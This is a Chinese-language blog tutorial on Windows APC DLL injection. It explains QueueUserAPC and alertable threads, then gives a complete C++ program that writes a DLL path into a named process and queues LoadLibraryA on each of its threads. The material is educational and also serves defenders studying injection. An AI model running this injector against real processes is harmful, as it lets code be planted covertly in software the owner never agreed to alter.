3.2 DLL注入:远程APC异步注入
APC(Asynchronous Procedure Call)异步过程调用是一种Windows
操作系统的核心机制,它允许在进程上下文中执行用户定义的函数,而无需创建线程或等待OS执行完成。该机制适用于一些频繁的、短暂的或非常细微的操作,例如改变线程优先级或通知线程处理任务。在APC机制
中,当某些事件发生时(例如文件IO,网络IO或定时器触发),这些事件将被操作系统添加到一个APC队列
中,该队列绑定到执行线程。在下一次发生ALERTABLE
的事件时(例如调用SleepEx或SignalObjectAndWait时),OS将弹出APC函数
并在执行线程上下文中调用该函数,并在执行完毕后恢复线程执行。
APC机制与DLL注入的关系在于,可以使用APC机制将某些代码注入到另一个进程中,并由该进程执行。读者可以使用NtQueueApcThread
或QueueUserAPC
等函数将用户定义的函数添加到目标进程中的APC队列
中,目标线程将在调用SleepEx
或SignalObjectAndWait
等函数时执行注入函数。但读者需要注意,注入函数必须是一个简短的、没有长时间阻塞的代码块,通常会加载DLL或者在目标线程中打开其他进程。
QueueUserAPC 函数允许将一个用户定义的函数添加到指定线程对应的APC队列中。该函数中的APC指异步过程调用,是指通过消息的方式将一段代码投递给线程去执行的一种机制,常用于处理异步操作,该函数的函数原型如下:
DWORD WINAPI QueueUserAPC(
PAPCFUNC pfnAPC,
HANDLE hThread,
ULONG_PTR dwData
);
参数说明如下:
- pfnAPC: 一个指向线程函数的函数指针,在本函数被执行时调用。
- hThread: 目标线程的句柄。
- dwData: 传递给线程函数的参数。
当调用QueueUserAPC
函数时,该函数将在目标线程的APC队列
中添加一个APC
入口,APC的入口点为pfnAPC
。当目标线程处于alertable
状态时,即调用了如SleepEx
等同于处理APCs
的等待函数时,系统会将APC
从队列中弹出,并调用pfnAPC。在DLL注入中,可以使用QueueUserAPC
函数向目标进程内的线程的APC队列中插入一个我们定义的函数的指针,使该函数在目标线程执行时运行,从而实现DLL注入的目的。
APC一部注入原理可以总结为如下几个步骤,每个线程在可被唤醒时在其APC链中的函数将有机会执行被执行,每一个线程都具有一个APC链,那么只要在APC链中添加一个APC,就可以完成我们所需要的DLL注入的功能;
- 1.WriteProcessMemory 将需要加载的DLL的完整路径写入目标进程空间
- 2.获得LoadLibraryA函数的地址,当然也可以是LoadLibraryW函数的地址
- 3.枚举目标进程中的所有线程,为每个线程添加一个APC函数,这样增加了注入成功的机会.
利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,通过APC注入的流程步骤大致如下;
- 1.当进程里某个线程执行到
SleepEx()
或者WaitForSingleObjectEx()
时,系统就会产生一个软中断 - 2.当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数
- 3.利用
QueueUserAPC()
可以在软中断时向线程的APC队列插入一个函数指针,此处插入Loadlibrary()
- 4.当插入函数被执行时则会加载Loadlibrary并将其指向的DLL模块插入到进程内
但读者需要注意一点,不论如何目标程序必须有执行SleepEx()
或者WaitForSingleObjectEx()
否则DLL不会加载,读者可自行做实验测试是否可以注入成功;
#include <windows.h>
#include <iostream>
#include <TlHelp32.h>
#include <tchar.h>
// 传入进程名称返回该进程PID
DWORD FindProcessID(LPCTSTR szProcessName)
{
DWORD dwPID = 0xFFFFFFFF;
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
Process32First(hSnapShot, &pe);
do
{
if (!_tcsicmp(szProcessName, (LPCTSTR)pe.szExeFile))
{
dwPID = pe.th32ProcessID;
break;
}
} while (Process32Next(hSnapShot, &pe));
CloseHandle(hSnapShot);
return dwPID;
}
// APC注入
BOOL ApcInjectDll(DWORD dwPid, char* szDllName)
{
// 得到文件完整路径长度
int nDllLen = lstrlen(szDllName) + sizeof(char);
// 打开目标进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL)
{
return FALSE;
}
// 在对端开辟内存空间
PVOID pDllAddr = VirtualAllocEx(hProcess, NULL, nDllLen, MEM_COMMIT, PAGE_READWRITE);
if (pDllAddr == NULL)
{
CloseHandle(hProcess);
return FALSE;
}
// 根据不同位数写出DLL文件路径
#ifdef _WIN64
size_t dwWriteNum = 0;
WriteProcessMemory(hProcess, pDllAddr, szDllName, nDllLen, &dwWriteNum);
#else
DWORD dwWriteNum = 0;
WriteProcessMemory(hProcess, pDllAddr, szDllName, nDllLen, &dwWriteNum);
#endif
CloseHandle(hProcess);
THREADENTRY32 te = { 0 };
te.dwSize = sizeof(THREADENTRY32);
// 得到线程快照
HANDLE handleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (INVALID_HANDLE_VALUE == handleSnap)
{
CloseHandle(hProcess);
return FALSE;
}
// 得到LoadLibraryA函数的地址
FARPROC pFunAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
DWORD dwRet = 0;
// 得到第一个线程
if (Thread32First(handleSnap, &te))
{
do
{
// 进程ID对比是否为传入的进程
if (te.th32OwnerProcessID == dwPid)
{
// 打开线程,得到线程句柄
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (hThread)
{
// 向线程插入APC队列
dwRet = QueueUserAPC((PAPCFUNC)pFunAddr, hThread, (ULONG_PTR)pDllAddr);
// 关闭句柄
CloseHandle(hThread);
}
}
// 循环下一个线程
} while (Thread32Next(handleSnap, &te));
}
// 关闭句柄
CloseHandle(handleSnap);
return TRUE;
}
int main(int argc, char *argv[])
{
DWORD pid = FindProcessID("lyshark.exe");
std::cout << "进程PID: " << pid << std::endl;
bool flag = ApcInjectDll(pid, (char *)"d://hook.dll");
std::cout << "注入状态: " << flag << std::endl;
return 0;
}
本文作者: 王瑞
本文链接: https://www.lyshark.com/post/cfe47325.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
- 点赞
- 收藏
- 关注作者
评论(0)